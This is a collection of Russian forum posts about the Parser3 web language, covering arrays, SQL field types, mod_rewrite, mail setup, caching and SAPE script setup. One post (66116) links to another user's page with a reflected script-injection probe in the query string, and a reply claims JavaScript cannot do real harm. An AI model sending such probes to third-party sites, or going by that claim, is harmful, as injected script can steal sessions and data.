такое поле не предназначено для того, чтобы с помощью sql запросов производить над ним какие-либо серьёзные операции. да, сделать их можно, но это будет работать медленно (а статей/новостей бывает много). сл-но надо иначе хранить данные.\
\
2. в админе страницу я ищу по url/названию, а новость -- по дате. соотв. пользоваться стандартным интерфейсом админа для выбора нужной новости (для редактирования) неудобно. сл-но надо делать отдельный интерфейс для поиска новости.\
\
3. у статей/новостей у нас есть специфические вещи, которых нету у страниц сайта: привязка футеров, типы (тип новости/статьи, это не тип объекта), привязки к людям (связь many-to-many), привязки к каким-нить регионам (опять many-to-many) и т.д. из-за этого интерфейс поиска редактировани статей/новостей меняется чуть ли не на каждом втором проекте, поэтому нам его удобнее держать отдельно и отдельно модифицировать, не затрагивая основной админ объектов.\
\
вы можете делать как вам угодно, я больше не буду продолжать обсуждать этот момент."
"66002","бинарники, документация и grpunlim версии -- где обычно.\
краткий changelog -- в [url=\"/news/\"]новостях[/url]"
"66004","Общественность очень просит :)\
\
Спасибо за работу."
"66005","Зачем оно надо и кому?.."
"66007","[b]Хеши не хранят сортировку, записи в таблице нельзя редактировать, в таблице можно хранить только строки.[/b]\
\
Предупреждая советы, да у меня (как и у Миши, как и Sumo) есть прокладки в виде парсерных классов, где интерфейс массивов реализован, через хеши. Но лично меня это раздражает, в языке есть хеши, но нет массивов."
"66008","Сделал выводы из первого, второго и третьего. Пришел к тому, что статьи ложить в objects + blocks очень неудобно."
"66009","Это из разряда «мне надо».\
В какой задаче надо — неясно.\
\
[quote]есть прокладки в виде парсерных классов, где интерфейс массивов реализован, через хеши. Но лично меня это раздражает, в языке есть хеши, но нет массивов.[/quote]\
\
Если оно есть и работает, что раздражает?"
"66010","Этот вопрос скорее по XML, как я успел разобрать. Задал его тут, потмоу что сам проект на парсере.\
\
Не могу разобраться, куда деваются символы переноса строки при вставке из xml файла в форму textarea.\
\
был был рад помощи."
"66011","> Если оно есть и работает, что раздражает?\
\
Отличный вопрос, но такой же можно задать про половину парсерных объектов. Зачем к примеру нужен хеш файл, такой же синтаксис можно написать своим классом с использованием table, table.save и file:stat, зачем нужен table.flip можно же написать метод... продолжать до бесконечности. Языку нужно развитие и то, что в нем нет нативных массивов, большой минус.\
\
По поводу примеров, см. примеры. Там есть мишины классы, использующие эмуляцию массивов (ArrayList). К такой же необходимости пришли как минимум я, и Sumo в своей PF библиотеке. В простейшем случае массивы нужны чтобы хранить упорядоченную коллекцию ОБЪЕКТОВ."
"66012","В sql-драйверах Парсера есть достаточно старый дефект: при попытке получить данные от sql-сервера с $.limit(0) возвращается не пустое множество, а все записи из таблицы (фактичеси лимит не отрабатывает). Поскольку исправление этой проблемы требует изменения API драйверов, то в релиз 3.2.3 исправления этой проблемы не вошли. Тем не менее, если такая проблема для ваших задач критична, то можете [url=http://oleg.volchkov.net/download/parser/parser3_sql_10.zip]скачать исходники исправленые модули[/url] и самостоятельно скомпилировать Парсер под свою платформу.\
\
Важное замечание: изменился API драйверов, поэтому требуется пересборка не только самих драйверов, но и основного модуля Парсера.\
\
p.s. У меня новые драйверы работают на боевом сервере уже больше месяца и никаких проблем не вызывали. Если будут проблемы - пишите."
"66014","[quote]Зачем к примеру нужен хеш файл[/quote]\
\
Изначально — для сессий.\
\
[quote]такой же синтаксис можно написать своим классом с использованием table, table.save и file:stat[/quote]\
\
Скорости не будет.\
Формат хранения не тот.\
\
[quote]нужен table.flip можно же написать метод...[/quote]\
\
Не знаю, мне ни разу не требовался.\
\
[quote]Языку нужно развитие и то, что в нем нет нативных массивов, большой минус.[/quote]\
\
Есть куча  гораздо более важных вещей, нежели такая специфичная вешь как массив.\
\
[quote]В простейшем случае массивы нужны чтобы хранить упорядоченную коллекцию ОБЪЕКТОВ.[/quote]\
\
Как так получается, что я храню коллекции объектов и не переживаю о нехватке массивов?..\
Там же тривиальнейший код для реализации, при необходимости.\
\
Зачем оно нужно в языке (а значит, большинству) — неясно."
"66015","Ну я бы смотрел в сторону хеша,\
\
[code]\
^array::new[]\
^array::new[$array]\
\
($array) # кол-во элементов массива\
\
^array.add[$object] # добавление эл-та\
^array.get(4) # получение эл-та\
^array.delete(4) # удаление эл-та\
\
^array.foreach[v]{\
#   здесь $v текущий элемент массива\
}\
\
^while(^array.hasNext[]){\
   ^array.next[]\
}\
\
[/code]\
\
все это ессно обсуждается"
"66017","На списки хорошо ложаться всякие стеки и очереди, что бывает очень дае полезно. Тем более, что производительность списков должна быть достаточно хорошей."
"66018","А о том зачем оно нужно в языке."
"66020","Как прямо в кострукторе впихнуть элементы? Тут нужно синтаксис придумать поинтереснее:\
[code]\
  $list[ \
    $:[element 0] \
    $:[element 1]\
    $:[element 2]\
    $:[element 3]\
  ]\
\
  ($list) # кол-во элементов списка\
\
  $list.0, $list.1 # получение элемента\
  $list.(-1) # последний элемент\
  $list.[-1:1:2] # срез\
  $list.[:2] # еще один срез\
\
  ^list.append[$list2] # складываем списки\
  ^list.insert(3)[$list2] # вставляем список в позицию 3\
\
  ^list.foreach[v]{\
#   здесь $v текущий элемент списка\
  }\
[/code]\
\
А вот всякие next и hasNext нафиг не нужны - foreach и так реализует единственный возможный внутренний итератор.\
\
Все остальное через:\
[code]\
  ^for[i](-1;1){\
   $list.$i\
  }\
[/code]"
"66021","Если кому интересно.\
\
[code]^a.match[<p>][g]{&#x000D^;&#x000D^;}[/code]"
"66022","мне не нравится добавление еще одного служебного символа ':' \
мб так:\
[code]\
$list[^array::create[]]\
$list[^array::create[$array]]\
$list[^array::create{$object_1\
$object_2\
$object_3\
}]\
\
($list) # кол-во элементов списка\
\
^list.add[$object] # добавить элемент\
^list.delete(3) # удалить 3й элемент\
\
$list.0, $list.1 # получение элемента\
$list.(-1) # последний элемент\
\
^list.splice[1;2] #срез\
\
^list.append[$list2] # складываем списки\
^list.insert(3)[$list2] # вставляем список в позицию 3\
\
^list.foreach[v]{\
#   здесь $v текущий элемент списка\
}[разделитель]\
[/code]"
"66024","Прогресс всегда радует :)\
\
А вопрос вот такой - планируется ли уравнять sha1 в правах с md5 и сrc32?\
\
Т.е. добавление метода ^file.sha1[]?"
"66025","как только это понадобится нам (текущий sha1 мне лично ни разу не требовался) или как пришлют патч :)"
"66026","я объяснял причину, по которой данный фикс не был включен в 3.2.3: меняется API, что требует обновления и парсера и драйвера. а т.к. 3.2.3 по сути багфикс-релиз, то усложнять его установку не хотелось.\
\
в ближайшем будущем эти правки будут внесены в head."
"66027","а что в планах (хотя бы приблизительных) на следующий релиз?"
"66028","Т.к. это не таблица, и на одной не пустой строке может быть только один элемент списка, то логичнее так:\
[code]$list[^array::create{\
	$object_1\
	$object_2\
	$object_3\
}][/code]"
"66029","мне лично хватило бы за глаза:\
\
[code]\
$list[^array::create[]]\
^list.add[$object_1]\
^list.add[$object_2]\
^list.add[$object_3]\
[/code]"
"66031","... то в них нет особого смысла. Не думаю, что это будет сильно эффективнее наших оберток к хешам."
"66032","[quote]Как так получается, что я храню коллекции объектов и не переживаю о нехватке массивов?..\
Зачем оно нужно в языке (а значит, большинству) — неясно.[/quote]\
\
[quote][b]Если есть PHP, то для чего Parser?[/b]\
PHP — это язык программирования, требующий соответствующей подготовки. На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.[/quote]\
\
Вот тут идут нестыковки этих двух цитат.. Языку надо более динамично развиватся и \"захватывать\" большее количество людей ;)И сначало \"[i]На Parser могут работать далеко не профессиональные программисты[/i]\"  подкупает, а потом оказывается, что проще всё-таки было на PHP сделать - и проблем с хостингом меньше, и можно найти множество оптимальных решений для конкретных задач (проанализировать, как конкретно реализуют другие и адаптировать под себя, например), и т.п.\
 И если есть уже фактически готовые решения, то почему бы их не реализовать в языке? И не с бухты-барахты, а потому, что просят. При том просят даже те, кто сам у себя уже этот функционал реализовал, но есть потребность реализации этого в самом языке."
"66034","При переходе с 3.2.2 на 3.2.3 такая ситуация 3.2.3 с поддержкой XML - 500 ошибка, без оной - все ок. Версия для Redhat, при откате на 3.2.2 обе версии (с хмл и без него) без вопросов работают"
"66035","3.2.3 (compiled on i686-pc-linux-gnu)"
"66036","Ах да проблема на Apache 2, на 1.3 без вопросов обе версии.\
[Fri Apr 11 11:13:11 2008] [error] [client ] Premature end of script headers: parser3.cgi\
Естественно что права 755"
"66037","\"500 ошибка\" означает что не работает что-то на сайте или что не запускается сам parser3.cgi (например из shell или при обращении из браузера прямо к нему)?\
\
если сам cgi запускается, но ваш код, работающий с xml с новой версией приводит к ошибке, то возможно вылезла какая-то несомвестимость из-за обновления xml библиотек (мы перешли на нескольких сайтах с 3.2.2 на 3.2.3 и проблем с несовместимостью в xml библиотеках не обнаружили). в этом случае вам нужно искать ошибку, увы, удалённо я помочь не могу.\
\
да, вот ещё что: когда вы говорите про работоспособность версии 3.2.2 с xml, вы подразумеваете версию, собранную нами, или может вы качали альтернативные бинарники?\
\
то, что cgi работает с апач 1.3 но не работает с 2 более чем странно, для cgi-то..."
"66038","все скачано у вас. XML на  том сервере, где осуществлялся переход не используется вообще. Так для интереса проверила. Мне в принципе не критично, просто рассказала, что увидела. \
кинула в cgi-bin parser3.cgi поставила права и увидела ошибку, кинула другой parser3.cgi - все ок.\
Вот и написала Вам."
"66040","У меня тоже была 500 ошибка, но тут же поставил права на 755 и всё Ок."
"66042","Что посоветуете выбрать для хранения постов в базе данных?\
+ что эффективнее использовать для хранения параметров (длинной возможно больше 255)?"
"66043","1. а какая БД? хто такой memo?\
2. varchar(1000)"
"66045","varchar(1000) - не подходит, т.к. там будут храниться параметры разной длинны: от 1 символа"
"66046","и чем не подходит varchar(1000), если размер от 1 до 1000?\
\
посты - TEXT, если они не выходят за этот размер."
"66047","что такое Memo у mysql я не знаю, но по нашему опыту мы ещё ни разу не выходили за пределы mediumtext для текстов статей. text бывало недостаточно.\
\
говорить об эффективности хранения абстрактных параметров бессмысленно. очевидно, что для разных задач эффективнее всего использовать что-то специально заточенное, что решает конкретные задачи."
"66048","Я, дорабатывая модуль форума и раскапывая другие движки обнаружил, что в Wordpress используется Longtext, как для постов, так и для параметров. Я всегда пользовал обычный TEXT, а тут задумался, может я не прав..."
"66050","Просто, меня структура базы Wordpress смутила.\
Если нет других причин, - оставлю TEXT."
"66052","Parser/3.2.3 (compiled on i386-unknown-freebsd6.2)\
Copyright(c) 2001-[b]2007[/b] ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)"
"66053","попробовал два способа, описанных на данном форуме \
http://www.parser.ru/forum/?id=64402\
http://www.parser.ru/forum/?id=60214\
\
в обоих случаях на выходе получаю \
<div id=\"sape\"><sape xmlns=\"\">\
	\
	\
		\
	\
</sape></div>\
\
и sape.ru это не кушает. есть предложения?"
"66054","в смысле на выходе пустой текст."
"66055","Для людей, владеющих Parser, имеется несложная разовая работа.\
Нужно немного модифицировать имеющийся портал - заблокировать один раздел и прикрутить CAPTCHA к скрипту комментирования новостей.\
Оплата - 200$ через систему WebMoney, наличными (Москва) или другим способом (по договоренности).\
Заказчик - ООО \"Многопрофильная фирма РАСТР-СБ\", сайт - www.vitovt.ru\
\
тел: (495) 626-80-90 // 91 // 92\
icq: 337363514\
e-mail: postmaster # vitovt.ru\
\
Спросить Алексеева Александра.\
\
\
Прошу прощения за флуд. Если не затруднит, дайте повисеть посту хотябы денек. Спасибо."
"66056","берете его и ...\
[code]$fSape[^file::exec[/../cgi-bin/sape.pl;$.REQUEST_URI[$request:uri]]]\
$fSape.text[/code]"
"66057","я у себя использую mediumtext (для тела статьи, для заголовков/анонсов -- text). это -- 1.6 MB (достаточно для text/html, но недостаточно, если вы собираетесь в этом поле хранить и base64 файлы статьи, однако в последнем случае мой выбор -- разбор этих файлов в момент добавления и хранение их отдельно, а не в \"теле\" текста статьи).\
\
т.е. предложение достаточно очевидное: сесть и подумать разок, где какой длинны поля будет достаточно :)"
"66058","Я все пока ленюсь разобраться со всеми типами данных в SQL, но видимо, это уже неизбежно. Надо когда-то начинать.\
\
Попробую пока оставить TEXT, т.к. для сообщений форума не думаю, что текст превысит лемит, а вот для разделов/текстов сайта предется пересмотреть логику..."
"66059","А чего в них разбираться то?\
Все же написано, например тут - http://dev.mysql.com/doc/refman/5.1/en/storage-requirements.html"
"66060","А разбираться есть с чем. Меня это до сих пор никак не волновало."
"66062","Я искал на форуме. Нашёл только это:\
\
http://www.parser.ru/forum/?id=35589\
\
Но мне $env:REQUEST_METHOD не хватает. \
Мне надо отличть две переменные о таких же самых названиях. \
\
В php делаю через $_POST и $_GET.\
\
Посмотрите коды:\
PHP:\
[code]\
<pre>\
REQUEST_METHOD:<?php\
print_r($_SERVER['REQUEST_METHOD']);?><br/><?php\
print_r($_GET);\
print_r($_POST);\
?>\
</pre>\
[/code]\
(http://temp4.forjesus.eu/forum/test.php?test=blabla)\
\
\
parser:\
[code]\
@USE\
visualization.p\
\
@main[]\
^visualization:object[$form:fields]\
^visualization:object[$form:tables]\
\
REQUEST_METHOD: $env:REQUEST_METHOD\
[/code]\
(http://temp4.forjesus.eu/forum/test.phtml?test=blabla)\
\
\
html тот же самый:\
[code]\
<form action=\"\" method=\"POST\">\
<input type=\"text\" name=\"test\"/>\
<input type=\"submit\"/>\
</form>\
[/code]"
"66064","т.к. мы не считаем, что что это необходимо в сайтостроительстве (более того лично мне ни разу не требовалось).\
\
хотя можете ручками поковыряться в $request:query или в $env:REQUEST_QUERY чтобы найти там get-значения (готовьтесь ручками декодировать их).\
\
P.S. опишите задачу: интересно, зачем вам это понадобилось?"
"66066","[code]\
###########################################################################\
@query_to_hash[sQuery][tQuery;oneParam]\
^if(!def $sQuery){$sQuery[$request:query]}\
$sQuery[^sQuery.match[&amp^;][g]{&}]\
$tQuery[^sQuery.split[&]]\
$result[^hash::create[]]\
^tQuery.menu{\
	$oneParam[^tQuery.piece.split[=;lh]]\
	^result.add[\
		$.[$oneParam.0][$oneParam.1]\
	]\
}\
\
###########################################################################\
@hash_to_query[hQuery][sQuery]\
$sQuery[^hQuery.foreach[key;value]{$key=$value&amp^;}]\
$result[^sQuery.trim[end;&amp^;]]\
\
\
###########################################################################\
@buildQuery[sFilter;AppendQuery;bFilterEliminator][hOldQuery;hAppendQuery;tFilter;hNewQuery]\
$hOldQuery[^query_to_hash[]]\
\
^if($AppendQuery is \"string\"){\
	$hAppendQuery[^query_to_hash[$AppendQuery]]\
}\
\
^if($AppendQuery is \"hash\"){\
	$hAppendQuery[$AppendQuery]\
}\
\
$hNewQuery[^hash::create[]]\
\
\
^if(def $sFilter){\
	$tFilter[^sFilter.split[,]]\
	^hOldQuery.foreach[key;value]{\
		^if(^tFilter.locate[piece;$key] && !$bFilterEliminator){\
			^hNewQuery.add[$.[$key][$value]]\
		}\
		^if(!^tFilter.locate[piece;$key] && $bFilterEliminator){\
			^hNewQuery.add[$.[$key][$value]]\
		}\
		\
	}\
}{\
	$hNewQuery[$hOldQuery]\
}\
\
\
^if($hAppendQuery is \"hash\"){^hNewQuery.add[$hAppendQuery]}\
$result[^hash_to_query[$hNewQuery]]\
[/code]"
"66068","если я правильно понял нужно распаковать содержимое архива по инструкции. в папке cgi-bin создать файл sape.pl и запихнуть туда \
\
\"$ENV{DOCUMENT_ROOT}/3ecbb96f16af23276d28410fd7f28a66/SAPE.pm\" =~ /^(.+)$/;\
require $1;\
my $sape = new SAPE(\
    user => '3ecbb96f16af23276d28410fd7f28a66',\
    host => '<ИМЯ_ХОСТА>', # необязательно, по умолчанию: $ENV{HTTP_HOST}\
    charset => 'windows-1251', # необязательно, по умолчанию: windows-1251\
);\
print $sape->get_links;\
\
а в обработчике прописать\
\
$fSape[^file::exec[/../cgi-bin/sape.pl;$.REQUEST_URI[$request:uri]]]\
$fSape.text\
\
но тем не менее у меня и так не работает. буду пытать дальше"
"66069","у меня возникла проблема при использовании данного класса. \
метод replace_in_text_segment нормально работает и читается системой сапе, а метод return_links сапе не видит."
"66070","Никак не получается заменить символ перехода строки в тексте, который приходит через POST\
\
[code]$rep[^table::create{\
%0D%0A	<br />\
%0D	<br />\
%0A	<br />\
%09	<br />\
^#0A	<br />\
\\n	<br />\
}]\
\
^form:text.replace[$rep][/code]\
\
-- эффекта ноль :("
"66073","У вас сам perl-скриптик запускается? проверяли?\
Права 755? \
links.db создался?\
Что, конкретно, вы сделали и что не работает?\
\
... а ещё, советую, SAPE.pm (+links.db) положить куда-нить вне веб-пространства и потом в sape.pl:\
[code]require \"/../path/to/SAPE.pm\";[/code]\
\
P.S. ^file::exec[] побыстрее загрузки по http:// будет (в SAPE.pm и так есть одна:)\
А вообще, лучше портировать сам php'шный или perl'овый клиент на парсер - там ничего сложного нет."
"66076","Всем большое спасибо.\
Не стучитесь больше, пожалуйста, желающих оказалось много."
"66079","Не могу сказать, что я новичок, но содержимое логов не радует:\
\
[94144] /feedback/: /home/averstec/public_html/taman/feedback/index.html(76:23): 'send' The mail server doesn't like the name login@server.com*. Have you set the 'To: ' field correctly? [smtp.execute]\
\
Столкнулся с проблемой отправки почты на внешние адреса. На адреса внутри домена письма отправляются без проблем. Кого пинать, админов или самому читать книжки? Поиск по форуму не помог - есть похожие проблемы, но все не то...\
_______________\
* адрес изменен\
\
Ребят, если есть какие-либо дельные советы, как с этим бороться, буду очень благодарен."
"66080","Я не программист, но тем не менее с помощью парсера3 собрал свой первый сайт. Меня поразило, что все работает! Поэтому создателям респект и уважуха. Но дальше, по мере роста потребностей в новых модулях, возникает много вопросов по скорости, безопасности, авторизации и т.п. Все-таки нужны профессионалы. В офф-лайне работаю на товарной бирже. Сейчас есть план создания модуля интернет-аукциона с учетом биржевых особенностей. Рассматривали скрипты пхп-аукционов, но в них трудно разобраться (штатного айтишника нет) и вносить изменения в соответствии с нашими особенностями. Поэтому приглашаю к сотрудничеству специалиста для создания движка интернет-аукциона по существующему аналогу. Конечно, на парсере3! Удаленная работа не приветствуется, нужен личный контакт в Москве. sultan.khayrulin@gmail.com"
"66082","Подскажите пожалуйста, как правильно записывать подобного вида конструкции:\
\
$string[^string.match[^form:image.int(0)(abc|def)][g]{}]\
\
В данном случае понятно, что нельзя сразу писать скобки за ^form:image.int(0). Но непонятно что делать, если их таки нужно написать."
"66085","[code]$re[(abc|def)]\
$string[^string.match[^form:image.int(0)$re][g]{}][/code]"
"66088","цифра года в тексте, который выдаётся при запуске исполняемого файла из консоли никак не может влиять на работоспособность сайта, где данный исполняемый файл является обработчиком страниц.\
\
P.S. мда уж, не думал что это придётся объяснять."
"66092","Можеть быть что он дла защити предь отправлянем спама запрещил отправляния меильов на внешеые домены.\
\
Вы можете тоже проверить возможность отравляния меильов через PHP.\
PHP имееть свой механмзм вместо sendmail. Когда через PHP письма будеть отправдяться хорошо - отпрявляйте через PHP"
"66093","Когда я начял учиться парсера мне очень нравилось возможность выводения html без print(''); - как делаеться в PHP. Но вижу что вы чясто пользуетесь xsl. Не лучше ли делать это на PHP?\
\
Второя вещь:\
Зачем в парсере mod_rewrite и один главный index.html \
В парсере для этой задачи есть специфичная оброботка запроса, в которой все файлики auto.p от корня оброботываеться?\
\
хорошо - я буду использовать mod_rewrite когдо он будеть мне нужен. Но xsl на парсере - думаю что это теряние времени."
"66094","Все таки я новичек. =)\
\
В общем так. Если у вас похожая проблема, прописывайте в конфигурационном auto.p такие вещи:\
\
$MAIL[\
$.SMTP[localhost]\
$.sendmail[/usr/sbin/sendmail -t -i -f postmaster]\
]\
\
При этом \"postmaster\" нужно заменить на реальный email-адрес внутри домена.\
\
Так же в скрипте отправки, не вписывайте в поля \"$.to[...]\" и \"$.from[...]\" адреса в угловых скобках \"<...>\" многие sendmail'ы этого не любят. Лучше просто вставить голый адрес.\
\
Всем удачи в настройке и установке! ;)"
"66096","я не понял как связан xsl с php.\
технология использования xml + xsl подразумевает что механизмы по формированию конечного html делаются с помощью xsl, xml-данные же для xsl-я подготавливаются на каком-то другом языке.\
тут parser-сообщество, поэтому привычно подготавливать xml данные с помощью parser. очевидно, что php-шники подготавливают xml на php.\
да, xml+xsl это более рессурсоёмко. но использование этих технологий позволяет распараллелить задачи: один занимается логикой, а второй -- отображением. это _очень_ удобно, особенно когда над проектом работает несколько человек. кроме того единожды написанная логика может использоваться без изменений в разных местах, переписывать приходится только xsl.\
\
\
mod_rewrite & кучка auto.p: делать можно по разному.\
лично мне не очень нравится работа с кучей auto.p, предпочитаю \"перекрывать\" методы с помощью более привычных объектно-ориентированных технологий (классы, объекты).\
но кому-то в случае простых сайтов нескольких auto.p может быть больше чем достаточно."
"66097","У меня немного другой вопрос на локальной машине установлен сервер на базе ХР и Денвер как сделать что бы с это машины индексировались страницы"
"66098","во время кеширования страниц, почему то не кешируются значения meta тэгов.\
\
Кэшируется строка без значения content \
\
<meta name=\"keywords\" content=\"\">\
<meta name=\"description\" content=\"\">\
\
Данные значения вычисляются в postprocess и видимо в этом дело. Как обойти сиё?"
"66102","файл auto.p\
\
[code]\
@main[]\
^страница[]\
\
@postprocess[buffer]\
$result[^buffer.match[<parser>(.+?)</parser>][ig]{^process{^^$match.1}}]\
\
@auto[]\
\
$ctime[43200]\
$cdir[/cache/page]\
\
\
@страница[]\
\
^if($request:uri eq \"/\"){\
		^cache[${cachedir}/index.html]($cachetime){\
			^тело_страницы[]}\
	}{\
	^тело_страницы[]\
	}\
\
@страница[]\
<html>\
<head>\
<title><parser>заголовок[]</parser></title>\
<meta name=\"keywords\" content=\"<parser>слова[]</parser>\">\
<meta name=\"description\" content=\"<parser>описание[]</parser>\">\
</head>\
<boby>\
	тут много чего\
</body>\
</html>\
\
[/code]"
"66103","в последнем случае вместо\
@страница[] должно быть @тело_страницы[]"
"66104","суда по коду вы сами реализовали механизм добавления заголовка и meta информации _после_ кеша.\
\
нужно иное? ну добавляйте meta до кеша, при формировании тела страницы, в чем проблема-то?"
"66105","Пробовал вот так, но результат тот же:\
[code]\
@main[]\
^страница[]\
\
@postprocess[buffer]\
$result[^buffer.match[<parser>(.+?)</parser>][ig]{^process{^^$match.1}}]\
\
@auto[]\
\
$ctime[43200]\
$cdir[/cache/page]\
\
\
@страница[]\
<html>\
<head>\
<title><parser>заголовок[]</parser></title>\
<meta name=\"keywords\" content=\"<parser>слова[]</parser>\">\
<meta name=\"description\" content=\"<parser>описание[]</parser>\">\
</head>\
\
^if($request:uri eq \"/\"){\
		^cache[${cachedir}/index.html]($cachetime){\
			^тело_страницы[]}\
	}{\
	^тело_страницы[]\
	}\
\
@тело_страницы[]\
<boby>\
	тут много чего\
</body>\
</html>\
[/code]"
"66111","К примеру имеем метод:\
\
[code]@user[]\
$auth[^table::sql{\
	SELECT id, login\
	FROM user\
	WHERE id = '$cookie:id'\
}]\
\
$name[$auth.login]\
$id[$auth.id]\
\
$surname[Пупкин]\
$123[один два три]\
$number(2*2)[/code]\
\
Как можно вызывать переменные и их значения с этого метода, обратившись к нему по имени и указав нужную переменную?\
\
Почитал документацию, - решения не нашел или что-то не так понял или не допонял :("
"66112","у методов есть входные и выходные параметры.\
также у методов есть локальные переменные, которые снаружи недоступны.\
\
ещё метод в процессе работы может записать что-то в глобальные переменные текущего класса (что ваш метод и делает), откуда вы их можете достать (однако если мы говорим про метод класса MAIN -- то это очень плохая практика). однако доставание установленных таким способом глобальных переменных никак не связано с методом."
"66113","нужно кешировать страницу вместе с Meta тэгами\
\
в коде страницы есть\
[code]\
<meta name=\"keywords\" content=\"слово1 слово2 слово3\">\
[/code]\
\
после кеширования получаем в коде страницы следующее\
\
[code]\
<meta name=\"keywords\" content=\"\">\
[/code]"
"66114","здесь - http://www.parser.ru/forum/?id=66102\
вы приводите код который делает ровно обратное - кэширует страницу со встроенными тэгами <parser>\
а потом процессите ее (взятую из кэша) для того чтобы добавить в нее мета-тэги.\
[quote]\
в коде страницы есть\
<meta name=\"keywords\" content=\"слово1 слово2 слово3\">[/quote]\
\
опять же раньше вы писали, что в коде страницы\
[code]<meta name=\"keywords\" content=\"<parser>слова[]</parser>\">[/code]\
\
а не готовые тэги со словами\
\
кстати вы не привели самих методов @слова[],@описание[] итд.. Вы уверены что они вообще возвращают какой либо результат?"
"66115","[i]xsl[/i] и [i]mod_rewrite[/i] ненапрасные технологии"
"66116","http://temp4.forjesus.eu/forum/test.phtml?test=%3Cscript%3Ealert('preved!');%3C/script%3E"
"66119","У меня в настоящий момент используеться простое правило:\
[code]RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA][/code]\
\
Однако есть необходимость добавить обработку дополнительных правил:\
переделывать запросы вида /~user/подраздел/ в /u/подраздел/?u=user\
\
При этом, нужно, чтобы полученный результат переходил к первому правилу\
\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA][/code]\
\
Читаю [url=\"http://www.egoroff.spb.ru/portfolio/apache/rewriteguide.html\"]Руководство по URL преобразованиям[/url] и пока ничего не получается."
"66120","В настоящее время параметры доступа к SQL-серверу храню в tab-delimited-файле. В auto.p храниться лишь ссылка на него. Файл можно редактировать через админку.\
\
Возникла необходимость добавить еще некоторые параметры:\
- адрес админа/редактора сайта\
- настройки сайта\
...\
\
tab-delimited уже становиться неудобным для хранения, т.к. количество опций становиться динамическим. Вот и возник вопрос об использовании Hashfile. Однако, есть сомнения: является ли данное решение рациональным и есть ли какие-либо проблемы (кроме ограничения по размеру)."
"66121","перед вашими RewriteCond напишите другие условия, например:\
\
[code]\
# rewrite years/months for articles /smth/2003/05/ -> /smth/?year=2003&month=05\
RewriteRule ^(.+)/((19|20)[0-9]{2})/((0[1-9])|(1[012]))/$	 $1/?year=$2&month=$4 [PT,QSA]\
[/code]\
\
P.S. прочитайте про ключ PT"
"66122","мне такое решение не нравится.\
\
считаю что для подобных, достаточно критичных вещей, нужно пользоваться форматом, который без труда может прочитать человек.\
кроме \"прочитать\" нужно чтобы он мог подправить файл с настройками используя простейшие механизмы (например текстовый редактор).\
\
в вашем случае вы можете транспонировать ваш tab-delimited (например будет 3 стролбца: название параметра, значение, описание. одна строка -- один параметр).\
\
ещё вариант: xml (в случае простого xml-я с настройками \"распарсить\" его можно и простейшим regexp-ом)."
"66123","Насчет поправить/почитать \"ручками\" - согласен, удобнее. А XML-м пользовался, но, пришлось отказаться, т.к. редакторы иногда забывают \"закрывать\" тэги."
"66124","P.S. notepad, bred & Co, vi и mcedit не забывают закрывать их %-)"
"66125","RewriteEngine on\
RewriteOptions inherit\
\
RewriteRule ^(.+)/~([^/]+)/$	 $1/?u=$2 [PT,QSA]\
RewriteRule ^~([^/]+)/(.*)$	 ?u=$1&uri=/$2 [PT,QSA]\
\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
\
RewriteRule	^(.*)$	/index.html?uri=/$1 [QSA,L][code][/code]"
"66128","Установил parser3.2.3_win32_cgi_xml в папку cgi-bin сайта, т.е. получилось: /cgi-bin/parser3.exe\
\
В .htaccess'e прописал:\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
\
<Files ~ \"\\.(p|cfg|dir|pag)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
[/code]\
\
Но он всегда выдает 500-ую ошибку. \
В логе сервера написано:\
[error] Unrecognized character \\\\x90 at c:/apache/\\xf1\\xe0\\xe9\\xf2\\xfb/localhost02/cgi-bin/parser3.exe line 1.\\n\
\
Даже не знаю че делать-то. Вроде все перепробовал. Помагите, плз."
"66129","subj, ПАФ сказал что это ошибка perl-а. \
разбираться небыло желания, снес perl нафиг, все заработало %)"
"66130","снести то я его снесу, а может еще че нужно в httpd.conf убрать, а то вдруг глюки какие-нить будут?"
"66131","вероятно, ваш апач настроен таким образом, что почему то считает parser3.exe perl-скриптом со всеми вытекающими.\
\
Если сервер свой - поковыряйтесь в httpd.conf, ключевое слово cgi-handler\
\
[quote]If the above does not solve your problem, then you should check if your server is configured to handle all CGI files as Perl scripts. The Zoom CGI search application is NOT a Perl script, but a binary executable, so it will fail to run in this web server configuration. You will need to change your server configuration via the \"httpd.conf\" file. If your \"cgi-bin\" folder do not contain any other Perl scripts, then you can change the settings to use \"cgi-handler\", instead of \"perl-handler\". However, if your \"cgi-bin\" folder does contain Perl scripts, then it may be best to create a separate directory for non-Perl CGI, and add it to your \"httpd.conf\" file. Specify handlers for it the same way as your existing cgi-bin directory, but use \"cgi-handler\" instead of \"perl-handler\".[/quote]\
\
\
если хостинг - то проще будет в суппорт обратится.\
\
ну это так - догадки. интересно решите ли проблему\
\
кстати - а права на parser3.exe правильные стоят?"
"66134","не понимаю"
"66135","Но это только примерь. \
Череэ javascript не зделаете ничево истинно вредного."
"66136","Со временем прийду к тому что кодирование сайтов это плохая робота."
"66139","у вас никогда не был.\
извините ошибки"
"66140","По правилам, root-элемент может иметь аттрибуты?\
\
пример:\
\
[code]<root name=\"asd\">\
  <element1>qwertr</element1>\
</root>[/code]"
"66141","[code]\
@main[]\
$key[somevalue]\
$somehash[$.somekey[othervalue]]\
^somehash.foreach[key;value]{}\
$key\
#выдаеть \"somekey\"\
[/code]\
\
почему переменна $key нет локальная в режиме кода иэ ^hash.foreach?\
\
почему ^foreach мешаеть прежде определённые переменные?\
\
проверял на 3.2.1, 3.2.2, и 3.2.3 всегда тот же самое"
"66142","... т.е. вы передаете форичу имена переменных метода, в которые писать данные. Локальности переменных в блоках кода в Парсере нет и явно не будет."
"66143","у меня root-элементы с аттрибутами роботает хорошо"
"66145","1. не определять переменных о именах \"key\" и \"value\"\
2. при пользовании foreach определять \"key\" и \"value\" локалными в режиме метода\
\
[code]\
@main[]\
$key[somevalue]\
$somehash[$.somekey[othervalue]]\
